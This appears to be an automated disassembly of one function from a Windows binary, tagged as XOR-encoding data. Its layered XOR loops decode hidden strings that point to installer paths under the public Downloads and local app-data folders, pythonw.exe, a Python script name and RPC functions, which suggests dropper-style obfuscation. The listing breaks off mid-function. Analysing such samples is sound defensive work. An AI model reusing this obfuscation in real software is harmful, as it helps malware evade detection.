Function at 0x204138710
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x418
movaps xmmword [rsp + 0x3e0], xmm6
movaps xmmword [rsp + 0x3f0], xmm7
movaps xmmword [rsp + 0x400], xmm8
call fcn.204115770
call fcn.2041157d0
call fcn.204113030
mov ecx, 0x18
call fcn.2041ee890
pxor xmm0, xmm0
mov ecx, 0x58
mov qword [rax + 0x10], 0
movups xmmword [rax], xmm0
mov qword [rsp + 0x38], rax
call fcn.2041ee890
mov rdx, qword [0x204226110]
mov r8d, 0x8ca0
mov rcx, rax
mov r12, rax
call fcn.204137b70
mov rcx, r12
lea r15, [rsp + 0x380]
lea rdi, [rsp + 0x320]
call fcn.2041379b0
mov rcx, qword [r12 + 0x30]
mov r9, rdi
mov r8, r15
movdqa xmm0, xmmword [str.01eb93091840f6c9f83f3b401f08dbabd5ff37db2e52316c86b77880c6de437a3102fc9b13abdd68a93ae8ba40b9c639original_installC:UsersPublicDownload]
mov edx, dword [r12 + 0x38]
mov byte [rsp + 0x340], 0
mov byte [rsp + 0x3c0], 0
movaps xmmword [rsp + 0x320], xmm0
movdqa xmm0, xmmword [0x2041f7340]
movaps xmmword [rsp + 0x330], xmm0
movdqa xmm0, xmmword [0x2041f7350]
movaps xmmword [rsp + 0x380], xmm0
movdqa xmm0, xmmword [0x2041f7360]
movaps xmmword [rsp + 0x390], xmm0
movdqa xmm0, xmmword [0x2041f7370]
movaps xmmword [rsp + 0x3a0], xmm0
movdqa xmm0, xmmword [0x2041f7380]
movaps xmmword [rsp + 0x3b0], xmm0
call fcn.204119680
mov rdx, qword [r12 + 0x38]
mov rcx, qword [r12 + 0x30]
mov r9d, 0x72
mov r8d, 0xffffffff
call fcn.204133d10
movdqa xmm0, xmmword [0x2041f7390]
mov rdx, r15
mov byte [rsp + 0x396], 0
mov dword [rsp + 0x390], 0x742e7265
mov r12, rax
mov eax, 0x7478
mov rcx, r12
mov word [rsp + 0x394], ax
movaps xmmword [rsp + 0x380], xmm0
call fcn.2041320b0
test eax, eax
jne 0x204138a98
lea r8, [rsp + 0x210]
lea rdx, [rsp + 0x1c0]
mov rcx, r12
call fcn.204132d20
mov rcx, qword [rsp + 0x1c0]
mov edx, 0xa
lea rbx, [rsp + 0x2d0]
lea r13, [rsp + 0x2c0]
call sub.msvcrt.dll_strchr
mov rcx, r12
mov byte [rax], 0
mov rdx, qword [rsp + 0x1c0]
call fcn.2041320b0
mov rax, qword [0x2041f73b0]
mov rcx, r15
movdqa xmm0, xmmword [0x2041f73a0]
mov byte [rsp + 0x39a], 0
mov qword [rsp + 0x390], rax
mov eax, 0x5c73
mov word [rsp + 0x398], ax
mov qword [rsp + 0x2c0], rbx
movaps xmmword [rsp + 0x380], xmm0
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x320], rax
mov rsi, rax
cmp rax, 0xf
ja 0x20413ab74
cmp rax, 1
jne 0x20413ab42
mov byte [rsp + 0x2d0], 0x43
mov rdx, rbx
mov qword [rsp + 0x2c8], rax
lea rbp, [rsp + 0x330]
mov byte [rdx + rax], 0
mov r14, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2c8]
mov qword [rsp + 0x320], rbp
mov rax, r14
mov r13, qword [rsp + 0x1c0]
add rax, rsi
je 0x204138989
test r14, r14
je 0x20413ae14
mov qword [rsp + 0x380], rsi
cmp rsi, 0xf
ja 0x20413abe3
cmp rsi, 1
jne 0x20413ab63
movzx eax, byte [r14]
mov byte [rsp + 0x330], al
mov rax, rbp
mov qword [rsp + 0x328], rsi
mov rcx, r13
mov byte [rax + rsi], 0
call sub.msvcrt.dll_strlen
mov r8, rax
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x328]
cmp r8, rax
ja 0x20413ae08
mov rdx, r13
mov rcx, rdi
call fcn.2041dbe90
mov rsi, qword [rsp + 0x328]
mov edx, 4
mov rcx, rsi
call sub.msvcrt.dll_calloc
mov rdx, qword [rsp + 0x320]
mov r8, rsi
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
mov rdx, qword [rsp + 0x320]
mov rcx, r12
call fcn.204132ed0
mov rcx, qword [rsp + 0x320]
mov rdx, r15
mov byte [rsp + 0x384], 0
mov dword [rsp + 0x380], 0x69736d2e
call fcn.204134530
mov r13, qword [rsp + 0x320]
test eax, eax
je 0x20413ac2c
cmp r13, rbp
je 0x204138a74
mov rax, qword [rsp + 0x330]
mov rcx, r13
lea rdx, [rax + 1]
call fcn.2041ee850
mov rcx, qword [rsp + 0x2c0]
cmp rcx, rbx
je 0x204138a98
mov rax, qword [rsp + 0x2d0]
lea rdx, [rax + 1]
call fcn.2041ee850
nop word [rax + rax]
mov ecx, 0x20
call fcn.2041ee890
mov edx, 0x3e8
mov rcx, rax
mov r13, rax
call fcn.204138670
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x380], r13
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x20413ab53
mov qword [rdx], r13
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x48
lea rsi, [rsp + 0x390]
call fcn.2041ee890
movdqa xmm0, xmmword [str.installer_data.z_CSIDL_LOCAL_APP_]
mov rdx, r15
mov rcx, r12
mov r13, rax
mov qword [rax + 8], 0
mov qword [rax + 0x20], 0
mov qword [rax + 0x28], 0
mov qword [rax + 0x30], 0
mov qword [rax + 0x38], 0
mov qword [rax + 0x40], 0
mov rax, qword [0x2041fc320]
mov qword [r13 + 0x18], 0
add rax, 0x10
movaps xmmword [rsp + 0x380], xmm0
mov qword [r13], rax
lea rax, [r13 + 0x20]
mov qword [r13 + 0x10], rax
mov eax, 0x7069
mov byte [rsp + 0x392], 0
mov word [rsp + 0x390], ax
call fcn.2041320b0
lea rdx, [r13 + 0x30]
lea r8, [r13 + 0x38]
mov rcx, r12
call fcn.204132d20
mov eax, 0x25
mov rcx, r15
xor r8d, r8d
movdqa xmm0, xmmword [0x2041f73d0]
mov word [rsp + 0x334], ax
lea rax, [rsp + 0x2c0]
mov rdx, rax
mov dword [rsp + 0x330], 0x41544144
movaps xmmword [rsp + 0x320], xmm0
mov qword [rsp + 0x380], rsi
mov qword [rsp + 0x2c0], 0x15
mov qword [rsp + 0x20], rax
call fcn.2041dbfd0
pxor xmm0, xmm0
mov ecx, 0x20
mov rdx, qword [rsp + 0x2c0]
movdqa xmm7, xmmword [rsp + 0x320]
mov qword [rsp + 0x380], rax
mov qword [rsp + 0x390], rdx
movups xmmword [rax], xmm7
mov edx, dword [rsp + 0x330]
mov qword [rsp + 0x110], 0
mov dword [rax + 0x10], edx
movzx edx, byte [rsp + 0x334]
movaps xmmword [rsp + 0x100], xmm0
mov byte [rax + 0x14], dl
mov rax, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x380]
mov qword [rsp + 0x388], rax
mov byte [rdx + rax], 0
call fcn.2041ee890
mov r14, qword [rsp + 0x380]
mov r12, rax
lea rbp, [rax + 0x20]
mov qword [rsp + 0x100], rax
mov rbx, qword [rsp + 0x388]
lea rax, [rax + 0x10]
mov qword [rsp + 0x110], rbp
mov qword [rsp + 0x28], rax
mov qword [r12], rax
mov rax, r14
add rax, rbx
je 0x204138c8f
test r14, r14
je 0x20413ae92
mov qword [rsp + 0x2c0], rbx
cmp rbx, 0xf
ja 0x20413a620
cmp rbx, 1
jne 0x20413a608
movzx eax, byte [r14]
mov byte [r12 + 0x10], al
mov rax, qword [rsp + 0x28]
mov qword [r12 + 8], rbx
mov byte [rax + rbx], 0
mov rcx, qword [rsp + 0x380]
mov qword [rsp + 0x108], rbp
cmp rcx, rsi
je 0x204138cf0
mov rax, qword [rsp + 0x390]
lea rdx, [rax + 1]
call fcn.2041ee850
nop dword [rax + rax]
pxor xmm0, xmm0
mov ecx, 0x20
mov qword [rsp + 0x390], 0
movaps xmmword [rsp + 0x380], xmm0
call fcn.2041ee890
mov rbp, qword [r12]
lea rcx, [rax + 0x10]
mov rbx, qword [r12 + 8]
mov r14, rax
lea rsi, [rax + 0x20]
movq xmm0, rax
mov qword [rax], rcx
mov rax, rbp
punpcklqdq xmm0, xmm0
mov qword [rsp + 0x390], rsi
add rax, rbx
movaps xmmword [rsp + 0x380], xmm0
je 0x204138d53
test rbp, rbp
je 0x20413ae20
mov qword [rsp + 0x320], rbx
cmp rbx, 0xf
ja 0x20413a670
cmp rbx, 1
jne 0x20413a660
movzx eax, byte [rbp]
mov byte [r14 + 0x10], al
mov qword [r14 + 8], rbx
mov byte [rcx + rbx], 0
mov ecx, 0x68
mov qword [rsp + 0x388], rsi
call fcn.2041ee890
mov rdx, r15
mov rcx, rax
mov rbx, rax
call fcn.204137600
mov rsi, qword [rsp + 0x388]
mov r14, qword [rsp + 0x380]
cmp rsi, r14
je 0x204138de6
nop dword [rax]
mov rcx, qword [r14]
lea rax, [r14 + 0x10]
cmp rcx, rax
je 0x20413a5f0
mov rax, qword [r14 + 0x10]
add r14, 0x20
lea rdx, [rax + 1]
call fcn.2041ee850
cmp rsi, r14
jne 0x204138db8
mov r14, qword [rsp + 0x380]
test r14, r14
je 0x204138dfe
mov rdx, qword [rsp + 0x390]
mov rcx, r14
sub rdx, r14
call fcn.2041ee850
mov ecx, 0x68
call fcn.2041ee890
mov r8, rbx
mov rdx, r13
mov rcx, rax
mov r14, rax
call fcn.204137ef0
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x260], r14
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x20413acec
mov qword [rdx], r14
add rdx, 8
mov qword [rax + 8], rdx
mov ecx, 0x20
call fcn.2041ee890
mov edx, 0x3e8
mov rcx, rax
mov r13, rax
call fcn.204138670
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x2c0], r13
mov rdx, qword [rax + 8]
cmp rdx, qword [rax + 0x10]
je 0x20413ad01
mov qword [rdx], r13
add rdx, 8
mov qword [rax + 8], rdx
mov dword [rsp + 0x380], 0x34
xor eax, eax
mov word [rsp + 0x376], ax
mov eax, dword [rsp + 0x380]
mov ebx, dword [rsp + 0x380]
mov r8d, dword [rsp + 0x380]
mov r11d, dword [rsp + 0x380]
mov edx, dword [rsp + 0x380]
movd xmm0, eax
mov r10d, dword [rsp + 0x380]
add r8d, 2
add ebx, 1
mov ecx, dword [rsp + 0x380]
add edx, 4
movd xmm3, r8d
pinsrw xmm0, ebx, 1
add r11d, 3
add ecx, 6
movd xmm1, edx
pinsrw xmm3, r11d, 1
add r10d, 5
mov r9d, dword [rsp + 0x380]
mov esi, dword [rsp + 0x380]
movd xmm2, ecx
punpckldq xmm0, xmm3
mov r13d, dword [rsp + 0x380]
mov r14d, dword [rsp + 0x380]
pinsrw xmm1, r10d, 1
mov r15d, dword [rsp + 0x380]
lea eax, [rsi + 8]
add r9d, 7
mov edi, dword [rsp + 0x380]
mov ebp, dword [rsp + 0x380]
pinsrw xmm2, r9d, 1
lea r8d, [r14 + 0xa]
lea ebx, [r13 + 9]
mov dword [rsp + 0xec], edi
punpckldq xmm1, xmm2
lea r11d, [r15 + 0xb]
movd xmm4, r8d
mov edi, dword [rsp + 0x380]
punpcklqdq xmm0, xmm1
mov dword [rsp + 0xe8], ebp
pinsrw xmm4, r11d, 1
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xe4], edi
mov edi, dword [rsp + 0x380]
mov dword [rsp + 0xe0], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xdc], edi
mov edi, dword [rsp + 0x380]
mov dword [rsp + 0xd8], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xd4], edi
mov edi, dword [rsp + 0x380]
mov dword [rsp + 0xd0], ebp
mov dword [rsp + 0xcc], edi
mov ebp, dword [rsp + 0x380]
movzx edi, word [0x2041f72bc]
mov dword [rsp + 0xc8], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xc4], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xc0], ebp
movzx ebp, word [str.Notepadpythonw.exe]
mov word [rsp + 0x30], bp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xbc], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xb8], ebp
movzx ebp, word [0x2041f72c4]
mov word [rsp + 0x50], bp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xb4], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xb0], ebp
movzx ebp, word [0x2041f72c8]
mov word [rsp + 0x58], bp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xac], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xa8], ebp
movzx ebp, word [0x2041f72cc]
mov word [rsp + 0x60], bp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xa4], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0xa0], ebp
movzx ebp, word [0x2041f72d0]
mov word [rsp + 0x68], bp
mov ebp, dword [rsp + 0x380]
movzx esi, word [rsp + 0xec]
pxor xmm0, xmmword [0x2041f73e0]
mov dword [rsp + 0x9c], ebp
mov ebp, dword [rsp + 0x380]
lea edx, [rsi + 0xc]
movzx esi, word [rsp + 0xe8]
movdqa xmm2, xmm0
movaps xmmword [rsp + 0x320], xmm0
mov dword [rsp + 0x98], ebp
movd xmm0, eax
movd xmm1, edx
movzx ebp, word [0x2041f72d4]
lea r10d, [rsi + 0xd]
movzx esi, word [rsp + 0xe4]
pinsrw xmm0, ebx, 1
mov word [rsp + 0x74], bp
mov ebp, dword [rsp + 0x380]
pinsrw xmm1, r10d, 1
punpckldq xmm0, xmm4
lea ecx, [rsi + 0xe]
movzx esi, word [rsp + 0xe0]
mov dword [rsp + 0x94], ebp
mov ebp, dword [rsp + 0x380]
movd xmm3, ecx
lea r9d, [rsi + 0xf]
mov dword [rsp + 0x90], ebp
movzx ebp, word [0x2041f72d8]
pinsrw xmm3, r9d, 1
punpckldq xmm1, xmm3
mov word [rsp + 0x80], bp
mov ebp, dword [rsp + 0x380]
punpcklqdq xmm0, xmm1
pxor xmm0, xmmword [0x2041f73f0]
mov dword [rsp + 0x8c], ebp
mov ebp, dword [rsp + 0x380]
movdqa xmm3, xmm0
mov dword [rsp + 0x88], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0x84], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0x78], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0x48], ebp
mov ebp, dword [rsp + 0x380]
mov dword [rsp + 0x40], ebp
mov ebp, dword [rsp + 0x380]
movaps xmmword [rsp + 0x330], xmm0
movzx eax, word [rsp + 0xd0]
movzx edx, word [rsp + 0xd4]
movzx esi, word [rsp + 0xb4]
movq xmm0, qword [0x2041f7400]
movq xmm1, qword [str.DATAdEOZKNvZSBED_]
shl rax, 0x10
or rax, rdx
movzx edx, word [rsp + 0xd8]
lea r10d, [rsi + 0x1a]
movzx esi, word [rsp + 0xb0]
shl rax, 0x10
xor r10w, word [rsp + 0x50]
or rax, rdx
movzx edx, word [rsp + 0xdc]
lea ecx, [rsi + 0x1b]
movzx esi, word [rsp + 0xac]
shl rax, 0x10
xor cx, word [0x2041f72c6]
or rax, rdx
lea r9d, [rsi + 0x1c]
movd xmm4, ecx
xor r9w, word [rsp + 0x58]
movq xmm7, rax
movzx eax, word [rsp + 0xcc]
movzx esi, word [rsp + 0xa4]
pinsrw xmm4, r9d, 1
paddw xmm0, xmm7
add eax, 0x14
xor eax, 0x25
mov word [rsp + 0x348], ax
movzx eax, word [rsp + 0xc8]
pxor xmm0, xmm1
movq qword [rsp + 0x340], xmm0
lea edx, [rax + 0x15]
movzx eax, word [rsp + 0xc4]
movd xmm0, edx
lea ebx, [rax + 0x16]
movzx eax, word [rsp + 0xc0]
xor ebx, edi
lea r8d, [rax + 0x17]
movzx eax, word [rsp + 0xbc]
pinsrw xmm0, ebx, 1
xor r8w, word [0x2041f72be]
movd xmm5, r8d
lea ebx, [rsi + 0x1e]
movzx esi, word [rsp + 0xa0]
xor bx, word [rsp + 0x60]
lea r11d, [rax + 0x18]
movzx eax, word [rsp + 0xb8]
xor r11w, word [rsp + 0x30]
pinsrw xmm5, r11d, 1
lea r8d, [rsi + 0x1f]
movzx esi, word [rsp + 0x9c]
xor r8w, word [0x2041f72ce]
add eax, 0x19
xor ax, word [0x2041f72c2]
punpckldq xmm0, xmm5
movd xmm1, eax
movzx eax, word [rsp + 0xa8]
lea r11d, [rsi + 0x20]
movd xmm5, r8d
pinsrw xmm1, r10d, 1
xor r11w, word [rsp + 0x68]
punpckldq xmm1, xmm4
add eax, 0x1d
xor ax, word [0x2041f72ca]
punpcklqdq xmm0, xmm1
pinsrw xmm5, r11d, 1
movups xmmword [rsp + 0x34a], xmm0
movzx esi, word [rsp + 0x98]
movd xmm0, eax
movzx eax, word [rsp + 0x88]
pinsrw xmm0, ebx, 1
movups xmmword [rsp + 0x384], xmm2
movdqa xmm6, xmmword [rsp + 0x340]
lea edx, [rsi + 0x21]
movzx esi, word [rsp + 0x94]
punpckldq xmm0, xmm5
xor dx, word [0x2041f72d2]
movd xmm1, edx
movups xmmword [rsp + 0x394], xmm3
lea r10d, [rsi + 0x22]
movzx esi, word [rsp + 0x90]
xor r10w, word [rsp + 0x74]
movups xmmword [rsp + 0x3a4], xmm6
pinsrw xmm1, r10d, 1
lea ecx, [rsi + 0x23]
movzx esi, word [rsp + 0x8c]
xor cx, word [0x2041f72d6]
movd xmm4, ecx
lea r9d, [rsi + 0x24]
movzx esi, word [rsp + 0x40]
xor r9w, word [rsp + 0x80]
add eax, 0x25
xor ax, word [0x2041f72da]
pinsrw xmm4, r9d, 1
mov word [rsp + 0x36a], ax
punpckldq xmm1, xmm4
lea edx, [rsi + 0x29]
movzx eax, word [rsp + 0x84]
xor dx, word [0x2041f72e2]
punpcklqdq xmm0, xmm1
add eax, 0x26
xor ax, word [0x2041f72dc]
shl edx, 0x10
movups xmmword [rsp + 0x35a], xmm0
mov word [rsp + 0x36c], ax
movzx eax, word [rsp + 0x78]
movdqa xmm7, xmmword [rsp + 0x350]
add eax, 0x27
xor ax, word [0x2041f72de]
mov word [rsp + 0x36e], ax
movzx eax, word [rsp + 0x48]
movdqa xmm6, xmmword [rsp + 0x360]
movups xmmword [rsp + 0x3b4], xmm7
add eax, 0x28
xor ax, word [0x2041f72e0]
movzx eax, ax
or eax, edx
mov dword [rsp + 0x370], eax
lea eax, [rbp + 0x2a]
xor ax, word [0x2041f72e4]
mov word [rsp + 0x374], ax
movups xmmword [rsp + 0x3c4], xmm6
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x3d4], rax
xor eax, eax
nop word cs:[rax + rax]
movzx ecx, word [rsp + rax*2 + 0x384]
mov edx, dword [rsp + 0x380]
add edx, eax
xor edx, ecx
mov word [rsp + rax*2 + 0x384], dx
add rax, 1
cmp rax, 0x2b
jne 0x2041394c0
lea rax, [rsp + 0x260]
lea r13, [rsp + 0x384]
xor r15d, r15d
mov qword [rsp + 0x48], rax
mov rcx, r13
lea rax, [rsp + 0x270]
mov word [rsp + 0x3da], r15w
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x260], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x2c0], rsi
cmp rbx, 0xe
ja 0x20413a854
mov rcx, qword [rsp + 0x260]
mov rax, rsi
cmp rsi, 1
je 0x20413a844
test rsi, rsi
jne 0x20413a6cb
xor r13d, r13d
mov qword [rsp + 0x268], rax
xor r14d, r14d
movzx edx, word [0x2041f730a]
mov word [rcx + rax*2], r13w
movzx eax, word [str.Notepad_test_gpu.py]
movdqa xmm4, xmmword [0x2041f7410]
xor edx, 0x2a
mov rcx, qword [str.ORO]
mov dword [rsp + 0x2c0], 0x2a
mov word [rsp + 0x20e], r14w
movd xmm0, eax
shl edx, 0x10
movzx eax, word [0x2041f72ec]
pinsrw xmm0, word [0x2041f72ea], 1
mov qword [rsp + 0x1e0], rcx
movd xmm3, eax
movzx eax, word [0x2041f72f0]
pinsrw xmm3, word [0x2041f72ee], 1
movd xmm1, eax
movzx eax, word [0x2041f72f4]
punpckldq xmm0, xmm3
pinsrw xmm1, word [0x2041f72f2], 1
movd xmm2, eax
movzx eax, word [0x2041f72f8]
pinsrw xmm2, word [0x2041f72f6], 1
punpckldq xmm1, xmm2
punpcklqdq xmm0, xmm1
movdqa xmm5, xmm0
movd xmm0, eax
movzx eax, word [0x2041f72fc]
pinsrw xmm0, word [0x2041f72fa], 1
pxor xmm5, xmm4
movd xmm3, eax
movzx eax, word [0x2041f7300]
pinsrw xmm3, word [0x2041f72fe], 1
movups xmmword [rsp + 0x1e8], xmm5
movd xmm1, eax
movzx eax, word [0x2041f7304]
punpckldq xmm0, xmm3
pinsrw xmm1, word [0x2041f7302], 1
movd xmm2, eax
movzx eax, word [0x2041f7308]
pinsrw xmm2, word [0x2041f7306], 1
punpckldq xmm1, xmm2
xor eax, 0x2a
punpcklqdq xmm0, xmm1
movzx eax, ax
pxor xmm4, xmm0
movdqa xmm0, xmmword [0x2041f7420]
or eax, edx
movzx edx, word [0x2041f730c]
movups xmmword [rsp + 0x1f8], xmm4
movaps xmmword [rsp + 0x1c0], xmm0
movdqa xmm0, xmmword [0x2041f7430]
xor edx, 0x2a
movaps xmmword [rsp + 0x1d0], xmm0
mov dword [rsp + 0x208], eax
movdqa xmm7, xmmword [rsp + 0x1e0]
movabs rax, 0x4f005e00450064
mov word [rsp + 0x20c], dx
movabs rdx, 0x76004e004b005a
movdqa xmm6, xmmword [rsp + 0x1f0]
mov qword [rsp + 0x2c4], rax
movabs rax, 0x42005e0053005a
mov qword [rsp + 0x2cc], rdx
movabs rdx, 0x4005d00440045
mov qword [rsp + 0x2d4], rax
xor eax, eax
mov qword [rsp + 0x2dc], rdx
movups xmmword [rsp + 0x2e4], xmm7
movdqa xmm7, xmmword [rsp + 0x200]
movups xmmword [rsp + 0x2f4], xmm6
movups xmmword [rsp + 0x304], xmm7
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0x2c4]
mov ecx, dword [rsp + 0x2c0]
xor edx, ecx
mov word [rsp + rax*2 + 0x2c4], dx
add rax, 1
cmp rax, 0x27
jne 0x204139748
lea r13, [rsp + 0x2c4]
xor ebp, ebp
lea r15, [rsp + 0x290]
mov rcx, r13
mov word [rsp + 0x312], bp
mov qword [rsp + 0x280], r15
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
cmp rbx, 0xe
ja 0x20413a886
mov rcx, qword [rsp + 0x280]
mov rax, rsi
cmp rsi, 1
je 0x20413a834
test rsi, rsi
jne 0x20413a6ab
xor esi, esi
pxor xmm0, xmm0
mov qword [rsp + 0x288], rax
mov word [rcx + rax*2], si
mov ecx, 0x40
mov qword [rsp + 0x130], 0
movaps xmmword [rsp + 0x120], xmm0
call fcn.2041ee890
lea rcx, [rax + 0x10]
lea rbp, [rax + 0x40]
mov r13, rax
mov qword [rsp + 0x120], rax
mov qword [rax], rcx
mov r14, qword [rsp + 0x260]
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x130], rbp
lea rbx, [rax + rax]
mov rax, r14
add rax, rbx
je 0x204139842
test r14, r14
je 0x20413ae2c
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov rax, rsi
cmp rbx, 0xe
ja 0x20413a92e
cmp rsi, 1
je 0x20413a8be
test rsi, rsi
jne 0x20413a729
xor ebx, ebx
mov qword [r13 + 8], rax
mov r14, qword [rsp + 0x280]
mov word [rcx + rax*2], bx
lea rax, [r13 + 0x20]
lea rcx, [r13 + 0x30]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x288]
mov qword [r13 + 0x20], rcx
lea rbx, [rax + rax]
mov rax, r14
add rax, rbx
je 0x2041398b0
test r14, r14
je 0x20413ae31
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x210], rsi
mov r8, rsi
cmp rbx, 0xe
ja 0x20413a959
movd xmm2, dword [rsp + 0x30]
movd xmm0, dword [rsp + 0x50]
movd xmm1, dword [rsp + 0x58]
movzx eax, word [0x2041f72e2]
movzx edx, word [0x2041f72e0]
movd xmm3, dword [rsp + 0x68]
movq xmm7, qword [0x2041f7450]
shl rax, 0x10
pinsrw xmm2, word [0x2041f72c2], 1
pinsrw xmm1, word [0x2041f72ca], 1
or rax, rdx
movzx edx, word [0x2041f72de]
pinsrw xmm0, word [0x2041f72c6], 1
shl rax, 0x10
movdqa xmm4, xmmword [0x2041f7450]
pinsrw xmm3, word [0x2041f72d2], 1
or rax, rdx
movzx edx, word [0x2041f72dc]
punpckldq xmm0, xmm1
movd xmm1, dword [rsp + 0x74]
pinsrw xmm1, word [0x2041f72d6], 1
shl rax, 0x10
or rax, rdx
movq xmm6, rax
paddw xmm7, xmm6
movd xmm6, edi
pinsrw xmm6, word [0x2041f72be], 1
punpckldq xmm6, xmm2
movd xmm2, dword [rsp + 0x80]
pinsrw xmm2, word [0x2041f72da], 1
punpcklqdq xmm6, xmm0
movd xmm0, dword [rsp + 0x60]
pinsrw xmm0, word [0x2041f72ce], 1
punpckldq xmm1, xmm2
paddw xmm6, xmm4
punpckldq xmm0, xmm3
punpcklqdq xmm0, xmm1
paddw xmm4, xmm0
movdqa xmm8, xmm4
cmp rsi, 1
je 0x20413a8ca
test rsi, rsi
jne 0x20413a6eb
xor r11d, r11d
mov qword [r13 + 0x28], r8
mov word [rcx + r8*2], r11w
mov rcx, qword [rsp + 0x280]
mov qword [rsp + 0x128], rbp
cmp rcx, r15
je 0x2041399f9
mov rax, qword [rsp + 0x290]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rcx, qword [rsp + 0x260]
cmp rcx, qword [rsp + 0x40]
je 0x204139a1a
mov rax, qword [rsp + 0x270]
lea rdx, [rax + rax + 2]
call fcn.2041ee850
mov rax, qword [0x2041f7480]
movdqa xmm0, xmmword [str._FVLGObORFDObDSSGDWD]
xor r10d, r10d
movabs rdx, 0x4f0062004f0047
movups xmmword [rsp + 0x3ac], xmm6
mov qword [rsp + 0x3a0], rax
movzx eax, word [0x2041f72e4]
movq qword [rsp + 0x3cc], xmm7
add eax, 3
movups xmmword [rsp + 0x3bc], xmm8
movdqa xmm5, xmmword [rsp + 0x3b0]
movdqa xmm6, xmmword [rsp + 0x3c0]
mov word [rsp + 0x3d4], ax
movabs rax, 0x4c005600460028
mov qword [rsp + 0x2c0], rax
movabs rax, 0x4f004400460052
mov qword [rsp + 0x2c8], rdx
movabs rdx, 0x53005300440062
mov qword [rsp + 0x2d0], rax
mov dword [rsp + 0x3a8], 0x30028
movdqa xmm7, xmmword [rsp + 0x3a0]
mov word [rsp + 0x3d6], r10w
mov rax, qword [rsp + 0x3d0]
movaps xmmword [rsp + 0x380], xmm0
movdqa xmm0, xmmword [0x2041f7470]
mov qword [rsp + 0x2d8], rdx
movaps xmmword [rsp + 0x390], xmm0
movaps xmmword [rsp + 0x2e0], xmm7
movaps xmmword [rsp + 0x2f0], xmm5
movaps xmmword [rsp + 0x300], xmm6
mov qword [rsp + 0x310], rax
xor eax, eax
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0x2c0]
sub edx, 3
mov word [rsp + rax*2 + 0x2c0], dx
add rax, 1
cmp rax, 0x2b
jne 0x204139b20
lea rax, [rsp + 0x180]
mov rcx, qword [rsp + 0x20]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x190]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x180], rax
call sub.msvcrt.dll_wcslen
lea rbx, [rax + rax]
mov rsi, rbx
sar rsi, 1
mov qword [rsp + 0x260], rsi
cmp rbx, 0xe
ja 0x20413a986
mov rcx, qword [rsp + 0x180]
mov rax, rsi
cmp rsi, 1
je 0x20413a8d6
test rsi, rsi
jne 0x20413a707
xor r8d, r8d
mov qword [rsp + 0x188], rax
xor r9d, r9d
movzx edx, word [0x2041f7332]
mov word [rcx + rax*2], r8w
movzx eax, word [str.RpcServerListen]
movdqa xmm4, xmmword [str.eeeeeeeeUtokz]
xor edx, 0x1b
mov rcx, qword [0x2041f74c0]
mov dword [rsp + 0x260], 0x1b
mov word [rsp + 0x25e], r9w
movd xmm0, eax
shl edx, 0x10
movzx eax, word [0x2041f7314]
pinsrw xmm0, word [0x2041f7312], 1
mov qword [rsp + 0x230], rcx
movd xmm3, eax
movzx eax, word [0x2041f7318]
pinsrw xmm3, word [0x2041f7316], 1
movd xmm1, eax
movzx eax, word [0x2041f731c]
punpckldq xmm0, xmm3
pinsrw xmm1, word [0x2041f731a], 1
movd xmm2, eax
movzx eax, word [str.rpcrt4.d]
pinsrw xmm2, word [0x2041f731e], 1
punpckldq xmm1, xmm2
punpcklqdq xmm0, xmm1
movdqa xmm5, xmm0
movd xmm0, eax
movzx eax, word [0x2041f7324]
pinsrw xmm0, word [0x2041f7322], 1
pxor xmm5, xmm4
movd xmm3, eax
movzx eax, word [0x2041f7328]
pinsrw xmm3, word [0x2041f7326], 1
movups xmmword [rsp + 0x238], xmm5
movd xmm1, eax
movzx eax, word [0x2041f732c]
punpckldq xmm0, xmm3
pinsrw xmm1, word [0x2041f732a], 1
movd xmm2, eax
movzx eax, word [str.01eb93091840f6c9f83f3b401f08dbabd5ff37db2e52316c86b77880c6de437a3102fc9b13abdd68a93ae8ba40b9c639original_installC:UsersPublicDownload]
pinsrw xmm2, word [0x2041f732e], 1
punpckldq xmm1, xmm2
xor eax, 0x1b
punpcklqdq xmm0, xmm1
movzx eax, ax
